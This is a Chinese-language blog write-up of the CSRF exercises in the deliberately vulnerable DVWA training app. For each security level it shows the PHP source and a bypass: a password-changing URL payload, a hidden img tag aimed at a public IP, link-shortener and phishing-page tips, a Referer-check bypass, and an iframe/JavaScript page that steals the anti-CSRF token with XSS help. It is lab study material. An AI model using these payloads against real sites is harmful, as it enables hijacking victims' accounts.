zoukankan      html  css  js  c++  java
  • DVWA学习记录 PartⅢ

    CSRF

    1. 题目

    CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

    CSRF1

    2. Low

    a. 代码分析

    <?php 
    if( isset( $_GET[ 'Change' ] ) ) { 
        // Get input 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ]; 
    
        // Do the passwords match? 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
            $pass_new = md5( $pass_new ); 
    
            // Update the database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
        } 
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
    } 
    ?> 
    

    服务器收到请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制。

    b. 漏洞利用

    payload:http://[ip]/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change

    当受害者点击了这个链接,他的密码就会被改成password

    可以将这个url转换为短链接,进行伪装。

    或者构建钓鱼网页,将代码隐藏在其中:

    <img src="http://118.89.65.237/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change" style="display:none;"/>
    

    3. Medium

    a. 代码分析

    <?php 
    if( isset( $_GET[ 'Change' ] ) ) { 
        // Checks to see where the request came from 
        if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { 
            // Get input 
            $pass_new  = $_GET[ 'password_new' ]; 
            $pass_conf = $_GET[ 'password_conf' ]; 
    
            // Do the passwords match? 
            if( $pass_new == $pass_conf ) { 
                // They do! 
                $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
                $pass_new = md5( $pass_new ); 
    
                // Update the database 
                $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
                // Feedback for the user 
                echo "<pre>Password Changed.</pre>"; 
            } 
            else { 
                // Issue with passwords matching 
                echo "<pre>Passwords did not match.</pre>"; 
            } 
        } 
        else { 
            // Didn't come from a trusted source 
            echo "<pre>That request didn't look correct.</pre>"; 
        } 
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
    } 
    ?> 
    

    stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写),返回位置。

    注释:stripos() 函数是不区分大小写的。

    注释:该函数是二进制安全的。

    stripos(string, find, start)
    string	必需。规定被搜索的字符串。
    find	必需。规定要查找的字符。
    start	可选。规定开始搜索的位置。
    

    Medium级别的代码检查了保留变量 HTTP_REFERER中是否包含SERVER_NAME,希望通过这种机制抵御CSRF攻击。

    元素/代码 描述
    $_SERVER['PHP_SELF'] 返回当前执行脚本的文件名。
    $_SERVER['GATEWAY_INTERFACE'] 返回服务器使用的 CGI 规范的版本。
    $_SERVER['SERVER_ADDR'] 返回当前运行脚本所在的服务器的 IP 地址。
    $_SERVER['SERVER_NAME'] 返回当前运行脚本所在的服务器的主机名(比如 www.w3school.com.cn)。
    $_SERVER['SERVER_SOFTWARE'] 返回服务器标识字符串(比如 Apache/2.2.24)。
    $_SERVER['SERVER_PROTOCOL'] 返回请求页面时通信协议的名称和版本(例如,“HTTP/1.0”)。
    $_SERVER['REQUEST_METHOD'] 返回访问页面使用的请求方法(例如 POST)。
    $_SERVER['REQUEST_TIME'] 返回请求开始时的时间戳(例如 1577687494)。
    $_SERVER['QUERY_STRING'] 返回查询字符串,如果是通过查询字符串访问此页面。
    $_SERVER['HTTP_ACCEPT'] 返回来自当前请求的请求头。
    $_SERVER['HTTP_ACCEPT_CHARSET'] 返回来自当前请求的 Accept_Charset 头( 例如 utf-8,ISO-8859-1)
    $_SERVER['HTTP_HOST'] 返回来自当前请求的 Host 头。
    $_SERVER['HTTP_REFERER'] 返回当前页面的完整 URL(不可靠,因为不是所有用户代理都支持)。
    $_SERVER['HTTPS'] 是否通过安全 HTTP 协议查询脚本。
    $_SERVER['REMOTE_ADDR'] 返回浏览当前页面的用户的 IP 地址。
    $_SERVER['REMOTE_HOST'] 返回浏览当前页面的用户的主机名。
    $_SERVER['REMOTE_PORT'] 返回用户机器上连接到 Web 服务器所使用的端口号。
    $_SERVER['SCRIPT_FILENAME'] 返回当前执行脚本的绝对路径。
    $_SERVER['SERVER_ADMIN'] 该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。
    $_SERVER['SERVER_PORT'] Web 服务器使用的端口。默认值为 “80”。
    $_SERVER['SERVER_SIGNATURE'] 返回服务器版本和虚拟主机名。
    $_SERVER['PATH_TRANSLATED'] 当前脚本所在文件系统(非文档根目录)的基本路径。
    $_SERVER['SCRIPT_NAME'] 返回当前脚本的路径。
    $_SERVER['SCRIPT_URI'] 返回当前页面的 URI。

    b. 漏洞利用

    过滤规则是http包头的Referer参数的值中必须包含主机名

    我们可以将攻击页面命名为[ip].html就可以绕过了

    4. High

    a. 代码分析

    <?php 
    if( isset( $_GET[ 'Change' ] ) ) { 
        // Check Anti-CSRF token 
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    
        // Get input 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ]; 
    
        // Do the passwords match? 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
            $pass_new = md5( $pass_new ); 
    
            // Update the database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
        } 
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
    } 
    // Generate Anti-CSRF token 
    generateSessionToken(); 
    ?> 
    

    High级别的代码加入了Anti-CSRF token机制,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

    b. 漏洞利用(完全复制自大佬博客)

    新手指南:DVWA-1.9全级别教程之CSRF

    要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。

    试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。

    <script type="text/javascript">
    function attack(){
       document.getElementsByName('user_token')[0].value = document.getElementById("hack").
       contentWindow.document.getElementsByName('user_token')[0].value;
       document.getElementById("transfer").submit(); 
    }
    </script>
    <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
    </iframe>
    <body onload="attack()">
    <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
    	<input type="hidden" name="password_new" value="password">
        <input type="hidden" name="password_conf" value="password">
       	<input type="hidden" name="user_token" value="">
      	<input type="hidden" name="Change" value="Change">
    </form>
    </body>
    

    攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

    然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.153.130/dvwa/vulnerabilities/csrf,位于服务器192.168.153.130上,而我们的攻击页面位于黑客服务器10.4.253.2上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。

    由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.153.130中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。

    1.png

    这里的Name存在XSS漏洞,于是抓包,改参数,成功弹出token

    1.png

    使用token,进行CSRF攻击。

    5. impossible

    a. 代码分析

    <?php 
    if( isset( $_GET[ 'Change' ] ) ) { 
        // Check Anti-CSRF token 
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    
        // Get input 
        $pass_curr = $_GET[ 'password_current' ]; 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ]; 
    
        // Sanitise current password input 
        $pass_curr = stripslashes( $pass_curr ); 
        $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
        $pass_curr = md5( $pass_curr ); 
    
        // Check that the current password is correct 
        $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); 
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
        $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); 
        $data->execute(); 
    
        // Do both new passwords match and does the current password match the user? 
        if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { 
            // It does! 
            $pass_new = stripslashes( $pass_new ); 
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
            $pass_new = md5( $pass_new ); 
    
            // Update database with new password 
            $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); 
            $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); 
            $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
            $data->execute(); 
    
            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match or current password incorrect.</pre>"; 
        } 
    } 
    // Generate Anti-CSRF token 
    generateSessionToken(); 
    ?> 
    

    使用PDO防止SQL注入,同时要求输入原始密码,简单粗暴的防止了CSRF。

  • 相关阅读:
    matlab矩阵中如何去掉重复的行;如何找到相同的行,并找到其位置
    Coursera 机器学习 第9章(下) Recommender Systems 学习笔记
    机器学习基石笔记1——在何时可以使用机器学习(1)
    Coursera 机器学习 第9章(上) Anomaly Detection 学习笔记
    matlab安装过程的被要求的配置程序
    jdk环境变量配置
    Coursera 机器学习 第8章(下) Dimensionality Reduction 学习笔记
    Coursera 机器学习 第8章(上) Unsupervised Learning 学习笔记
    Coursera 机器学习 第7章 Support Vector Machines 学习笔记
    linux服务器---squid限制
  • 原文地址:https://www.cnblogs.com/chalan630/p/12748619.html
Copyright © 2011-2022 走看看